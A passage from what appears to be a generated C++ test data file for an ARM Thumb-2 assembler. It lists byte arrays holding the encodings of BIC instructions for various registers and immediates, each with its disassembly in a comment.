0x55800000 }; const byte kInstruction_bic_al_r13_r5_0x0000ab00[] = { 0x25, 0xf4, 0x2b, 0x4d // bic al r13 r5 0x0000ab00 }; const byte kInstruction_bic_al_r0_r11_0xab00ab00[] = { 0x2b, 0xf0, 0xab, 0x20 // bic al r0 r11 0xab00ab00 }; const byte kInstruction_bic_al_r14_r12_0x00ff00ff[] = { 0x2c, 0xf0, 0xff, 0x1e // bic al r14 r12 0x00ff00ff }; const byte kInstruction_bic_al_r13_r8_0x7f800000[] = { 0x28, 0xf0, 0xff, 0x4d // bic al r13 r8 0x7f800000 }; const byte kInstruction_bic_al_r1_r2_0x15600000[] = { 0x22, 0xf0, 0xab, 0x51 // bic al r1 r2 0x15600000 }; const byte kInstruction_bic_al_r7_r6_0xab000000[] = { 0x26, 0xf0, 0x2b, 0x47 // bic al r7 r6 0xab000000 }; const byte kInstruction_bic_al_r1_r9_0x00000ff0[] = { 0x29, 0xf4, 0x7f, 0x61 // bic al r1 r9 0x00000ff0 }; const byte kInstruction_bic_al_r12_r8_0x0007f800[] = { 0x28, 0xf4, 0xff, 0x2c // bic al r12 r8 0x0007f800 }; const byte kInstruction_bic_al_r0_r8_0x00ab0000[] = { 0x28, 0xf4, 0x2b, 0x00 // bic al r0 r8 0x00ab0000 }; const byte kInstruction_bic_al_r11_r11_0x000000ff[] = { 0x2b, 0xf0, 0xff, 0x0b // bic al r11 r11 0x000000ff }; const byte kInstruction_bic_al_r12_r13_0xff000000[] = { 0x2d, 0xf0, 0x7f, 0x4c // bic al r12 r13 0xff000000 }; const byte kInstruction_bic_al_r1_r3_0x0ab00000[] = { 0x23, 0xf0, 0x2b, 0x61 // bic al r1 r3 0x0ab00000 }; const byte kInstruction_bic_al_r2_r10_0x0001fe00[] = { 0x2a, 0xf4, 0xff, 0x32 // bic al r2 r10 0x0001fe00 }; const byte kInstruction_bic_al_r14_r2_0x01fe0000[] = { 0x22, 0xf0, 0xff, 0x7e // bic al r14 r2 0x01fe0000 }; const byte kInstruction_bic_al_r3_r4_0x000000ff[] = { 0x24, 0xf0, 0xff, 0x03 // bic al r3 r4 0x000000ff }; const byte kInstruction_bic_al_r3_r13_0x00000558[] = { 0x2d, 0xf4, 0xab, 0x63 // bic al r3 r13 0x00000558 }; const byte kInstruction_bic_al_r13_r10_0x00055800[] = { 0x2a, 0xf4, 0xab, 0x2d // bic al r13 r10 0x00055800 }; const byte kInstruction_bic_al_r1_r10_0xff000000[] = { 0x2a, 0xf0, 0x7f, 0x41 // bic al r1 r10 0xff000000 }; const byte kInstruction_bic_al_r0_r7_0x2ac00000[] = { 0x27, 0xf0, 0x2b, 0x50 // bic al r0 r7 0x2ac00000 }; const byte kInstruction_bic_al_r12_r1_0xab000000[] = { 0x21, 0xf0, 0x2b, 0x4c // bic al r12 r1 0xab000000 }; const byte kInstruction_bic_al_r9_r14_0x00003fc0[] = { 0x2e, 0xf4, 0x7f, 0x59 // bic al r9 r14 0x00003fc0 }; const byte kInstruction_bic_al_r7_r2_0x2ac00000[] = { 0x22, 0xf0, 0x2b, 0x57 // bic al r7 r2 0x2ac00000 }; const byte kInstruction_bic_al_r14_r4_0x00001fe0[] = { 0x24, 0xf4, 0xff, 0x5e // bic al r14 r4 0x00001fe0 }; const byte kInstruction_bic_al_r12_r8_0x00007f80[] = { 0x28, 0xf4, 0xff, 0x4c // bic al r12 r8 0x00007f80 }; const byte kInstruction_bic_al_r7_r10_0x00000ab0[] = { 0x2a, 0xf4, 0x2b, 0x67 // bic al r7 r10 0x00000ab0 }; const byte kInstruction_bic_al_r13_r6_0x00ab0000[] = { 0x26, 0xf4, 0x2b, 0x0d // bic al r13 r6 0x00ab0000 }; const byte kInstruction_bic_al_r7_r9_0x0000ff00[] = { 0x29, 0xf4, 0x7f, 0x47 // bic al r7 r9 0x0000ff00 }; const byte kInstruction_bic_al_r2_r12_0xff00ff00[] = { 0x2c, 0xf0, 0xff, 0x22 // bic al r2 r12 0xff00ff00 }; const byte kInstruction_bic_al_r1_r6_0x00000156[] = { 0x26, 0xf4, 0xab, 0x71 // bic al r1 r6 0x00000156 }; const byte kInstruction_bic_al_r7_r5_0x03fc0000[] = { 0x25, 0xf0, 0x7f, 0x77 // bic al r7 r5 0x03fc0000 }; const byte kInstruction_bic_al_r2_r9_0x01fe0000[] = { 0x29, 0xf0, 0xff, 0x72 // bic al r2 r9 0x01fe0000 }; const byte kInstruction_bic_al_r10_r12_0x00002ac0[] = { 0x2c, 0xf4, 0x2b, 0x5a // bic al r10 r12 0x00002ac0 }; const byte kInstruction_bic_al_r14_r10_0x7f800000[] = { 0x2a, 0xf0, 0xff, 0x4e // bic al r14 r10 0x7f800000 }; const byte kInstruction_bic_al_r2_r8_0x02ac0000[] = { 0x28, 0xf0, 0x2b, 0x72 // bic al r2 r8 0x02ac0000 }; const byte kInstruction_bic_al_r4_r9_0x000001fe[] = { 0x29, 0xf4, 0xff, 0x74 // bic al r4 r9 0x000001fe }; const byte kInstruction_bic_al_r10_r10_0x000001fe[] = { 0x2a, 0xf4, 0xff, 0x7a // bic al r10 r10 0x000001fe }; const byte kInstruction_bic_al_r6_r6_0x3fc00000[] = { 0x26, 0xf0, 0x7f, 0x56 // bic al r6 r6 0x3fc00000 }; const byte kInstruction_bic_al_r4_r12_0x000003fc[] = { 0x2c, 0xf4, 0x7f, 0x74 // bic al r4 r12 0x000003fc }; const byte kInstruction_bic_al_r0_r2_0x0000ff00[] = { 0x22, 0xf4, 0x7f, 0x40 // bic al r0 r2 0x0000ff00 }; const byte kInstruction_bic_al_r9_r0_0x003fc000[] = { 0x20, 0xf4, 0x7f, 0x19 // bic al r9 r0 0x003fc000 }; const byte kInstruction_bic_al_r7_r4_0x000002ac[] = { 0x24, 0xf4, 0x2b, 0x77 // bic al r7 r4 0x000002ac }; const byte kInstruction_bic_al_r6_r6_0x7f800000[] = { 0x26, 0xf0, 0xff, 0x46 // bic al r6 r6 0x7f800000 }; const byte kInstruction_bic_al_r6_r8_0x00015600[] = { 0x28, 0xf4, 0xab, 0x36 // bic al r6 r8 0x00015600 }; const byte kInstruction_bic_al_r10_r0_0x00000ff0[] = { 0x20, 0xf4, 0x7f, 0x6a // bic al r10 r0 0x00000ff0 }; const byte kInstruction_bic_al_r8_r1_0xffffffff[] = { 0x21, 0xf0, 0xff, 0x38 // bic al r8 r1 0xffffffff }; const byte kInstruction_bic_al_r3_r7_0x00ab00ab[] = { 0x27, 0xf0, 0xab, 0x13 // bic al r3 r7 0x00ab00ab }; const byte kInstruction_bic_al_r8_r11_0x01fe0000[] = { 0x2b, 0xf0, 0xff, 0x78 // bic al r8 r11 0x01fe0000 }; const byte kInstruction_bic_al_r3_r1_0x00ff0000[] = { 0x21, 0xf4, 0x7f, 0x03 // bic al r3 r1 0x00ff0000 }; const byte kInstruction_bic_al_r5_r4_0x000001fe[] = { 0x24, 0xf4, 0xff, 0x75 // bic al r5 r4 0x000001fe }; const byte kInstruction_bic_al_r7_r10_0x00000558[] = { 0x2a, 0xf4, 0xab, 0x67 // bic al r7 r10 0x00000558 }; const byte kInstruction_bic_al_r8_r13_0x00001560[] = { 0x2d, 0xf4, 0xab, 0x58 // bic al r8 r13 0x00001560 }; const byte kInstruction_bic_al_r9_r4_0x00002ac0[] = { 0x24, 0xf4, 0x2b, 0x59 // bic al r9 r4 0x00002ac0 }; const byte kInstruction_bic_al_r9_r7_0x03fc0000[] = { 0x27, 0xf0, 0x7f, 0x79 // bic al r9 r7 0x03fc0000 }; const byte kInstruction_bic_al_r11_r12_0x2ac00000[] = { 0x2c, 0xf0, 0x2b, 0x5b // bic al r11 r12 0x2ac00000 }; const byte kInstruction_bic_al_r13_r10_0x00001fe0[] = { 0x2a, 0xf4, 0xff, 0x5d // bic al r13 r10 0x00001fe0 }; const byte kInstruction_bic_al_r11_r10_0x00558000[] = { 0x2a, 0xf4, 0xab, 0x0b // bic al r11 r10 0x00558000 }; const byte kInstruction_bic_al_r3_r2_0x000000ab[] = { 0x22, 0xf0, 0xab, 0x03 // bic al r3 r2 0x000000ab }; const byte kInstruction_bic_al_r0_r8_0x00000ab0[] = { 0x28, 0xf4, 0x2b, 0x60 // bic al r0 r8 0x00000ab0 }; const byte kInstruction_bic_al_r9_r7_0xab000000[] = { 0x27, 0xf0, 0x2b, 0x49 // bic al r9 r7 0xab000000 }; const byte kInstruction_bic_al_r11_r7_0x0ff00000[] = { 0x27, 0xf0, 0x7f, 0x6b // bic al r11 r7 0x0ff00000 }; const byte kInstruction_bic_al_r10_r2_0x7f800000[] = { 0x22, 0xf0, 0xff, 0x4a // bic al r10 r2 0x7f800000 }; const byte kInstruction_bic_al_r3_r1_0x05580000[] = { 0x21, 0xf0, 0xab, 0x63 // bic al r3 r1 0x05580000 }; const byte kInstruction_bic_al_r1_r4_0x0ab00000[] = { 0x24, 0xf0, 0x2b, 0x61 // bic al r1 r4 0x0ab00000 }; const byte kInstruction_bic_al_r4_r9_0x00005580[] = { 0x29, 0xf4, 0xab, 0x44 // bic al r4 r9 0x00005580 }; const byte kInstruction_bic_al_r3_r2_0x001fe000[] = { 0x22, 0xf4, 0xff, 0x13 // bic al r3 r2 0x001fe000 }; const byte kInstruction_bic_al_r14_r6_0x00000156[] = { 0x26, 0xf4, 0xab, 0x7e // bic al r14 r6 0x00000156 }; const byte kInstruction_bic_al_r14_r3_0x00000ab0[] = { 0x23, 0xf4, 0x2b, 0x6e // bic al r14 r3 0x00000ab0 }; const byte kInstruction_bic_al_r12_r13_0x000001fe[] = { 0x2d, 0xf4, 0xff, 0x7c // bic al r12 r13 0x000001fe }; const byte kInstruction_bic_al_r12_r10_0x1fe00000[] = { 0x2a, 0xf0, 0xff, 0x5c // bic al r12 r10 0x1fe00000 }; const byte kInstruction_bic_al_r0_r9_0x2ac00000[] = { 0x29, 0xf0, 0x2b, 0x50 // bic al r0 r9 0x2ac00000 }; const byte kInstruction_bic_al_r11_r6_0x00000156[] = { 0x26, 0xf4, 0xab, 0x7b // bic al r11 r6 0x00000156 }; const byte kInstruction_bic_al_r2_r4_0x3fc00000[] = { 0x24, 0xf0, 0x7f, 0x52 // bic al r2 r4 0x3fc00000 }; const byte kInstruction_bic_al_r8_r13_0x00002ac0[] = { 0x2d, 0xf4, 0x2b, 0x58 // bic al r8 r13 0x00002ac0 }; const byte kInstruction_bic_al_r1_r5_0x00ff00ff[] = { 0x25, 0xf0, 0xff, 0x11 // bic al r1 r5 0x00ff00ff }; const byte kInstruction_bic_al_r6_r1_0x0007f800[] = { 0x21, 0xf4, 0xff, 0x26 // bic al r6 r1 0x0007f800 }; const byte kInstruction_bic_al_r5_r1_0x00001fe0[] = { 0x21, 0xf4, 0xff, 0x55 // bic al r5 r1 0x00001fe0 }; const byte kInstruction_bic_al_r8_r11_0xab00ab00[] = { 0x2b, 0xf0, 0xab, 0x28 // bic al r8 r11 0xab00ab00 }; const byte kInstruction_bic_al_r5_r0_0xff00ff00[] = { 0x20, 0xf0, 0xff, 0x25 // bic al r5 r0 0xff00ff00 }; const byte kInstruction_bic_al_r14_r13_0x000000ab[] = { 0x2d, 0xf0, 0xab, 0x0e // bic al r14 r13 0x000000ab }; const byte kInstruction_bic_al_r2_r4_0x05580000[] = { 0x24, 0xf0, 0xab, 0x62 // bic al r2 r4 0x05580000 }; const byte kInstruction_bic_al_r14_r10_0x07f80000[] = { 0x2a, 0xf0, 0xff, 0x6e // bic al r14 r10 0x07f80000 }; const byte kInstruction_bic_al_r10_r3_0x55800000[] = { 0x23, 0xf0, 0xab, 0x4a // bic al r10 r3 0x55800000 }; const byte kInstruction_bic_al_r0_r11_0x7f800000[] = { 0x2b, 0xf0, 0xff, 0x40 // bic al r0 r11 0x7f800000 }; const byte kInstruction_bic_al_r3_r12_0xffffffff[] = { 0x2c, 0xf0, 0xff, 0x33 // bic al r3 r12 0xffffffff }; const byte kInstruction_bic_al_r2_r3_0x00000558[] = { 0x23, 0xf4, 0xab, 0x62 // bic al r2 r3 0x00000558 }; const byte kInstruction_bic_al_r2_r2_0x0003fc00[] = { 0x22, 0xf4, 0x7f, 0x32 // bic al r2 r2 0x0003fc00 }; const byte kInstruction_bic_al_r14_r10_0x15600000[] = { 0x2a, 0xf0, 0xab, 0x5e // bic al r14 r10 0x15600000 }; const byte kInstruction_bic_al_r3_r13_0x00000156[] = { 0x2d, 0xf4, 0xab, 0x73 // bic al r3 r13 0x00000156 }; const byte kInstruction_bic_al_r10_r5_0x1fe00000[] = { 0x25, 0xf0, 0xff, 0x5a // bic al r10 r5 0x1fe00000 }; const byte kInstruction_bic_al_r1_r5_0x00055800[] = { 0x25, 0xf4, 0xab, 0x21 // bic al r1 r5 0x00055800 }; const byte kInstruction_bic_al_r8_r6_0xff000000[] = { 0x26, 0xf0, 0x7f, 0x48 // bic al r8 r6 0xff000000 }; const byte kInstruction_bic_al_r3_r7_0x002ac000[] = { 0x27, 0xf4, 0x2b, 0x13 // bic al r3 r7 0x002ac000 }; const byte kInstruction_bic_al_r6_r4_0x00ff00ff[] = { 0x24, 0xf0, 0xff, 0x16 // bic al r6 r4 0x00ff00ff }; const byte kInstruction_bic_al_r0_r8_0x0007f800[] = { 0x28, 0xf4, 0xff, 0x20 // bic al r0 r8 0x0007f800 }; const byte kInstruction_bic_al_r0_r3_0xff000000[] = { 0x23, 0xf0, 0x7f, 0x40 // bic al r0 r3 0xff000000 }; const byte kInstruction_bic_al_r11_r1_0xabababab[] = { 0x21, 0xf0, 0xab, 0x3b // bic al r11 r1 0xabababab }; const byte kInstruction_bic_al_r14_r10_0x000001fe[] = { 0x2a, 0xf4, 0xff, 0x7e // bic al r14 r10 0x000001fe }; const byte kInstruction_bic_al_r4_r11_0x002ac000[] = { 0x2b, 0xf4, 0x2b, 0x14 // bic al r4 r11 0x002ac000 }; const byte kInstruction_bic_al_r11_r12_0x000000ab[] = { 0x2c, 0xf0, 0xab, 0x0b // bic al r11 r12 0x000000ab }; const byte kInstruction_bic_al_r3_r4_0x003fc000[] = { 0x24, 0xf4, 0x7f, 0x13 // bic al r3 r4 0x003fc000 }; const byte kInstruction_bic_al_r3_r13_0x0ff00000[] = { 0x2d, 0xf0, 0x7f, 0x63 // bic al r3 r13 0x0ff00000 }; const byte kInstruction_bic_al_r5_r4_0x00001fe0[] = { 0x24, 0xf4, 0xff, 0x55 // bic al r5 r4 0x00001fe0 }; const byte kInstruction_bic_al_r6_r12_0x002ac000[] = { 0x2c, 0xf4, 0x2b, 0x16 // bic al r6 r12 0x002ac000 }; const byte kInstruction_bic_al_r13_r13_0x1fe00000[] = { 0x2d, 0xf0, 0xff, 0x5d // bic al r13 r13 0x1fe00000 }; const byte kInstruction_bic_al_r0_r8_0x01560000[] = { 0x28, 0xf0, 0xab, 0x70 // bic al r0 r8 0x01560000 }; const byte kInstruction_bic_al_r9_r7_0x00055800[] = { 0x27, 0xf4, 0xab, 0x29 // bic al r9 r7 0x00055800 }; const byte kInstruction_bic_al_r6_r0_0x00000156[] = { 0x20, 0xf4, 0xab, 0x76 // bic al r6 r0 0x00000156 }; const byte kInstruction_bic_al_r14_r12_0x00055800[] = { 0x2c, 0xf4, 0xab, 0x2e // bic al r14 r12 0x00055800 }; const byte kInstruction_bic_al_r14_r0_0xab00ab00[] = { 0x20, 0xf0, 0xab, 0x2e // bic al r14 r0 0xab00ab00 }; const byte kInstruction_bic_al_r14_r2_0x00ab0000[] = { 0x22, 0xf4, 0x2b, 0x0e // bic al r14 r2 0x00ab0000 }; const byte kInstruction_bic_al_r0_r3_0x000000ab[] = { 0x23, 0xf0, 0xab, 0x00 // bic al r0 r3 0x000000ab }; const byte kInstruction_bic_al_r13_r4_0x003fc000[] = { 0x24, 0xf4, 0x7f, 0x1d // bic al r13 r4 0x003fc000 }; const byte kInstruction_bic_al_r4_r2_0x00001560[] = { 0x22, 0xf4, 0xab, 0x54 // bic al r4 r2 0x00001560 }; const byte kInstruction_bic_al_r14_r4_0x2ac00000[] = { 0x24, 0xf0, 0x2b, 0x5e // bic al r14 r4 0x2ac00000 }; const byte kInstruction_bic_al_r4_r11_0x000003fc[] = { 0x2b, 0xf4, 0x7f, 0x74 // bic al r4 r11 0x000003fc }; const byte kInstruction_bic_al_r6_r8_0x001fe000[] = { 0x28, 0xf4, 0xff, 0x16 // bic al r6 r8 0x001fe000 }; const byte kInstruction_bic_al_r12_r14_0x00000558[] = { 0x2e, 0xf4, 0xab, 0x6c // bic al r12 r14 0x00000558 }; const byte kInstruction_bic_al_r0_r13_0x0ff00000[] = { 0x2d, 0xf0, 0x7f, 0x60 // bic al r0 r13 0x0ff00000 }; const byte kInstruction_bic_al_r3_r11_0xabababab[] = { 0x2b, 0xf0, 0xab, 0x33 // bic al r3 r11 0xabababab }; const byte kInstruction_bic_al_r4_r1_0x000001fe[] = { 0x21, 0xf4, 0xff, 0x74 // bic al r4 r1 0x000001fe }; const byte kInstruction_bic_al_r0_r5_0x000002ac[] = { 0x25, 0xf4, 0x2b, 0x70 // bic al r0 r5 0x000002ac }; const byte kInstruction_bic_al_r8_r5_0x0003fc00[] = { 0x25, 0xf4, 0x7f, 0x38 // bic al r8 r5 0x0003fc00 }; const byte kInstruction_bic_al_r7_r13_0x0002ac00[] = { 0x2d, 0xf4, 0x2b, 0x37 // bic al r7 r13 0x0002ac00 }; const byte kInstruction_bic_al_r10_r6_0x00015600[] = { 0x26, 0xf4, 0xab, 0x3a // bic al r10 r6 0x00015600 }; const byte kInstruction_bic_al_r12_r10_0x00ff0000[] = { 0x2a, 0xf4, 0x7f, 0x0c // bic al r12 r10 0x00ff0000 }; const byte kInstruction_bic_al_r12_r12_0x00005580[] = { 0x2c, 0xf4, 0xab, 0x4c // bic al r12 r12 0x00005580 }; const byte kInstruction_bic_al_r0_r4_0x02ac0000[] = { 0x24, 0xf0, 0x2b, 0x70 // bic al r0 r4 0x02ac0000 }; const byte kInstruction_bic_al_r9_r9_0x02ac0000[] = { 0x29, 0xf0, 0x2b, 0x79 // bic al r9 r9 0x02ac0000 }; const byte kInstruction_bic_al_r7_r4_0x00000558[] = { 0x24, 0xf4, 0xab, 0x67 // bic al r7 r4 0x00000558 }; const byte kInstruction_bic_al_r12_r14_0x07f80000[] = { 0x2e, 0xf0, 0xff, 0x6c // bic al r12 r14 0x07f80000 }; const byte kInstruction_bic_al_r7_r2_0xab00ab00[] = { 0x22, 0xf0, 0xab, 0x27 // bic al r7 r2 0xab00ab00 }; const byte kInstruction_bic_al_r1_r12_0xff000000[] = { 0x2c, 0xf0, 0x7f, 0x41 // bic al r1 r12 0xff000000 }; const byte kInstruction_bic_al_r8_r0_0x7f800000[] = { 0x20, 0xf0, 0xff, 0x48 // bic al r8 r0 0x7f800000 }; const byte kInstruction_bic_al_r7_r0_0x00000ab0[] = { 0x20, 0xf4, 0x2b, 0x67 // bic al r7 r0 0x00000ab0 }; const byte kInstruction_bic_al_r1_r0_0x00005580[] = { 0x20, 0xf4, 0xab, 0x41 // bic al r1 r0 0x00005580 }; const byte kInstruction_bic_al_r14_r1_0x001fe000[] = { 0x21, 0xf4, 0xff, 0x1e // bic al r14 r1 0x001fe000 }; const byte kInstruction_bic_al_r13_r13_0x0002ac00[] = { 0x2d, 0xf4, 0x2b, 0x3d // bic al r13 r13 0x0002ac00 }; const byte kInstruction_bic_al_r8_r12_0x0002ac00[] = { 0x2c, 0xf4, 0x2b, 0x38 // bic al r8 r12 0x0002ac00 }; const byte kInstruction_bic_al_r10_r10_0x00ff00ff[] = { 0x2a, 0xf0, 0xff, 0x1a // bic al r10 r10 0x00ff00ff }; const byte kInstruction_bic_al_r4_r4_0x002ac000[] = { 0x24, 0xf4, 0x2b, 0x14 // bic al r4 r4 0x002ac000 }; const byte kInstruction_bic_al_r12_r5_0x000ab000[] = { 0x25, 0xf4, 0x2b, 0x2c // bic al r12 r5 0x000ab000 }; const byte kInstruction_bic_al_r1_r2_0x000003fc[] = { 0x22, 0xf4, 0x7f, 0x71 // bic al r1 r2 0x000003fc }; const byte kInstruction_bic_al_r10_r11_0x001fe000[] = { 0x2b, 0xf4, 0xff, 0x1a // bic al r10 r11 0x001fe000 }; const byte kInstruction_bic_al_r11_r2_0x05580000[] = { 0x22, 0xf0, 0xab, 0x6b // bic al r11 r2 0x05580000 }; const byte kInstruction_bic_al_r2_r6_0x000000ab[] = { 0x26, 0xf0, 0xab, 0x02 // bic al r2 r6 0x000000ab }; const byte kInstruction_bic_al_r6_r3_0x0000ff00[] = { 0x23, 0xf4, 0x7f, 0x46 // bic al r6 r3 0x0000ff00 }; const byte kInstruction_bic_al_r13_r0_0x00156000[] = { 0x20, 0xf4, 0xab, 0x1d // bic al r13 r0 0x00156000 }; const byte kInstruction_bic_al_r2_r9_0x00002ac0[] = { 0x29, 0xf4, 0x2b, 0x52 // bic al r2 r9 0x00002ac0 }; const byte kInstruction_bic_al_r11_r7_0x00055800[] = { 0x27, 0xf4, 0xab, 0x2b // bic al r11 r7 0x00055800 }; const byte kInstruction_bic_al_r10_r9_0x00001fe0[] = { 0x29, 0xf4, 0xff, 0x5a // bic al r10 r9 0x00001fe0 }; const byte kInstruction_bic_al_r10_r11_0x00156000[] = { 0x2b, 0xf4, 0xab, 0x1a // bic al r10 r11 0x00156000 }; const byte kInstruction_bic_al_r12_r10_0xff00ff00[] = { 0x2a, 0xf0, 0xff, 0x2c // bic al r12 r10 0xff00ff00 }; const byte kInstruction_bic_al_r7_r14_0x00ab00ab[] = { 0x2e, 0xf0, 0xab, 0x17 // bic al r7 r14 0x00ab00ab }; const byte kInstruction_bic_al_r14_r7_0x002ac000[] = { 0x27, 0xf4, 0x2b, 0x1e // bic al r14 r7 0x002ac000 }; const byte kInstruction_bic_al_r5_r6_0x000ff000[] = { 0x26, 0xf4, 0x7f, 0x25 // bic al r5 r6 0x000ff000 }; const byte kInstruction_bic_al_r8_r1_0xff000000[] = { 0x21, 0xf0, 0x7f, 0x48 // bic al r8 r1 0xff000000 }; const byte kInstruction_bic_al_r8_r0_0x000002ac[] = { 0x20, 0xf4, 0x2b, 0x78 // bic al r8 r0 0x000002ac }; const byte kInstruction_bic_al_r12_r6_0x00002ac0[] = { 0x26, 0xf4, 0x2b, 0x5c // bic al r12 r6 0x00002ac0 }; const byte kInstruction_bic_al_r14_r2_0x3fc00000[] = { 0x22, 0xf0, 0x7f, 0x5e // bic al r14 r2 0x3fc00000 }; const byte kInstruction_bic_al_r3_r3_0x01560000[] = { 0x23, 0xf0, 0xab, 0x73 // bic al r3 r3 0x01560000 }; const byte kInstruction_bic_al_r3_r12_0x0001fe00[] = { 0x2c, 0xf4, 0xff, 0x33 // bic al r3 r12 0x0001fe00 }; const byte kInstruction_bic_al_r8_r10_0x000002ac[] = { 0x2a, 0xf4, 0x2b, 0x78 // bic al r8 r10 0x000002ac }; const byte kInstruction_bic_al_r9_r9_0x002ac000[] = { 0x29, 0xf4, 0x2b, 0x19 // bic al r9 r9 0x002ac000 }; const byte kInstruction_bic_al_r0_r6_0x00156000[] = { 0x26, 0xf4, 0xab, 0x10 // bic al r0 r6 0x00156000 }; const byte kInstruction_bic_al_r14_r7_0x0ff00000[] = { 0x27, 0xf0, 0x7f, 0x6e // bic al r14 r7 0x0ff00000 }; const byte kInstruction_bic_al_r1_r3_0x00005580[] = { 0x23, 0xf4, 0xab, 0x41 // bic al r1 r3 0x00005580 }; const byte kInstruction_bic_al_r14_r7_0x000001fe[] = { 0x27, 0xf4, 0xff, 0x7e // bic al r14 r7 0x000001fe }; const byte kInstruction_bic_al_r9_r5_0x03fc0000[] = { 0x25, 0xf0, 0x7f, 0x79 // bic al r9 r5 0x03fc0000 }; const byte kInstruction_bic_al_r7_r14_0x002ac000[] = { 0x2e, 0xf4, 0x2b, 0x17 // bic al r7 r14 0x002ac000 }; const byte kInstruction_bic_al_r8_r9_0x00000558[] = { 0x29, 0xf4, 0xab, 0x68 // bic al r8 r9 0x00000558 }; const byte kInstruction_bic_al_r14_r1_0x007f8000[] = { 0x21, 0xf4, 0xff, 0x0e // bic al r14 r1 0x007f8000 }; const byte kInstruction_bic_al_r11_r0_0xab00ab00[] = { 0x20, 0xf0, 0xab, 0x2b // bic al r11 r0 0xab00ab00 }; const byte kInstruction_bic_al_r11_r8_0x00000156[] = { 0x28, 0xf4, 0xab, 0x7b // bic al r11 r8 0x00000156 }; const byte kInstruction_bic_al_r4_r10_0x00055800[] = { 0x2a, 0xf4, 0xab, 0x24 // bic al r4 r10 0x00055800 }; const byte kInstruction_bic_al_r2_r7_0x00007f80[] = { 0x27, 0xf4, 0xff, 0x42 // bic al r2 r7 0x00007f80 }; const byte kInstruction_bic_al_r0_r6_0x00558000[] = { 0x26, 0xf4, 0xab, 0x00 // bic al r0 r6 0x00558000 }; const byte kInstruction_bic_al_r4_r2_0x00558000[] = { 0x22, 0xf4, 0xab, 0x04 // bic al r4 r2 0x00558000 }; const byte kInstruction_bic_al_r2_r3_0x0007f800[] = { 0x23, 0xf4, 0xff, 0x22 // bic al r2 r3 0x0007f800 }; const byte kInstruction_bic_al_r14_r14_0xab00ab00[] = { 0x2e, 0xf0, 0xab, 0x2e // bic al r14 r14 0xab00ab00 }; const byte kInstruction_bic_al_r0_r13_0x000000ff[] = { 0x2d, 0xf0, 0xff, 0x00 // bic al r0 r13 0x000000ff }; const byte kInstruction_bic_al_r10_r9_0xab00ab00[] = { 0x29, 0xf0, 0xab, 0x2a // bic al r10 r9 0xab00ab00 }; const byte kInstruction_bic_al_r1_r1_0x3fc00000[] = { 0x21, 0xf0, 0x7f, 0x51 // bic al r1 r1 0x3fc00000 }; const byte kInstruction_bic_al_r8_r6_0x002ac000[] = { 0x26, 0xf4, 0x2b, 0x18 // bic al r8 r6 0x002ac000 }; const byte kInstruction_bic_al_r12_r4_0x55800000[] = { 0x24, 0xf0, 0xab, 0x4c // bic al r12 r4 0x55800000 }; const byte kInstruction_bic_al_r6_r10_0x2ac00000[] = { 0x2a, 0xf0, 0x2b, 0x56 // bic al r6 r10 0x2ac00000 }; const byte kInstruction_bic_al_r7_r9_0x001fe000[] = { 0x29, 0xf4, 0xff, 0x17 // bic al r7 r9 0x001fe000 }; const byte kInstruction_bic_al_r4_r12_0x00005580[] = { 0x2c, 0xf4, 0xab, 0x44 // bic al r4 r12 0x00005580 }; const byte kInstruction_bic_al_r9_r8_0x0ab00000[] = { 0x28, 0xf0, 0x2b, 0x69 // bic al r9 r8 0x0ab00000 }; const byte kInstruction_bic_al_r2_r4_0xff00ff00[] = { 0x24, 0xf0, 0xff, 0x22 // bic al r2 r4 0xff00ff00 }; const byte kInstruction_bic_al_r8_r14_0x00001fe0[] = { 0x2e, 0xf4, 0xff, 0x58 // bic al r8 r14 0x00001fe0 }; const byte kInstruction_bic_al_r5_r3_0x003fc000[] = { 0x23, 0xf4, 0x7f, 0x15 // bic al r5 r3 0x003fc000 }; const byte kInstruction_bic_al_r2_r10_0x00ff00ff[] = { 0x2a, 0xf0, 0xff, 0x12 // bic al r2 r10 0x00ff00ff }; const byte kInstruction_bic_al_r11_r12_0x15600000[] = { 0x2c, 0xf0, 0xab, 0x5b // bic al r11 r12 0x15600000 }; const byte kInstruction_bic_al_r1_r5_0x00002ac0[] = { 0x25, 0xf4, 0x2b, 0x51 // bic al r1 r5 0x00002ac0 }; const byte kInstruction_bic_al_r3_r7_0x2ac00000[] = { 0x27, 0xf0, 0x2b, 0x53 // bic al r3 r7 0x2ac00000 }; const byte kInstruction_bic_al_r5_r1_0xffffffff[] = { 0x21, 0xf0, 0xff, 0x35 // bic al r5 r1 0xffffffff }; const byte kInstruction_bic_al_r4_r10_0xff00ff00[] = { 0x2a, 0xf0, 0xff, 0x24 // bic al r4 r10 0xff00ff00 }; const byte kInstruction_bic_al_r1_r2_0x00001fe0[] = { 0x22, 0xf4, 0xff, 0x51 // bic al r1 r2 0x00001fe0 }; const byte kInstruction_bic_al_r5_r14_0x000000ff[] = { 0x2e, 0xf0, 0xff, 0x05 // bic al r5 r14 0x000000ff }; const byte kInstruction_bic_al_r14_r0_0x000ab000[] = { 0x20, 0xf4, 0x2b, 0x2e // bic al r14 r0 0x000ab000 }; const byte kInstruction_bic_al_r10_r3_0x00ab0000[] = { 0x23, 0xf4, 0x2b, 0x0a // bic al r10 r3 0x00ab0000 }; const byte kInstruction_bic_al_r10_r12_0x03fc0000[] = { 0x2c, 0xf0, 0x7f, 0x7a // bic al r10 r12 0x03fc0000 }; const byte kInstruction_bic_al_r8_r11_0x0007f800[] = { 0x2b, 0xf4, 0xff, 0x28 // bic al r8 r11 0x0007f800 }; const byte kInstruction_bic_al_r9_r13_0x0001fe00[] = { 0x2d, 0xf4, 0xff, 0x39 // bic al r9 r13 0x0001fe00 }; const byte kInstruction_bic_al_r12_r13_0x02ac0000[] = { 0x2d, 0xf0, 0x2b, 0x7c // bic al r12 r13 0x02ac0000 }; const byte kInstruction_bic_al_r3_r9_0x00ab00ab[] = { 0x29, 0xf0, 0xab, 0x13 // bic al r3 r9 0x00ab00ab }; const byte kInstruction_bic_al_r10_r1_0x3fc00000[] = { 0x21, 0xf0, 0x7f, 0x5a // bic al r10 r1 0x3fc00000 }; const byte kInstruction_bic_al_r6_r8_0x00000558[] = { 0x28, 0xf4, 0xab, 0x66 // bic al r6 r8 0x00000558 }; const byte kInstruction_bic_al_r6_r12_0x0000ab00[] = { 0x2c, 0xf4, 0x2b, 0x46 // bic al r6 r12 0x0000ab00 }; const byte kInstruction_bic_al_r14_r13_0x000ab000[] = { 0x2d, 0xf4, 0x2b, 0x2e // bic al r14 r13 0x000ab000 }; const byte kInstruction_bic_al_r1_r5_0x1fe00000[] = { 0x25, 0xf0, 0xff, 0x51 // bic al r1 r5 0x1fe00000 }; const byte 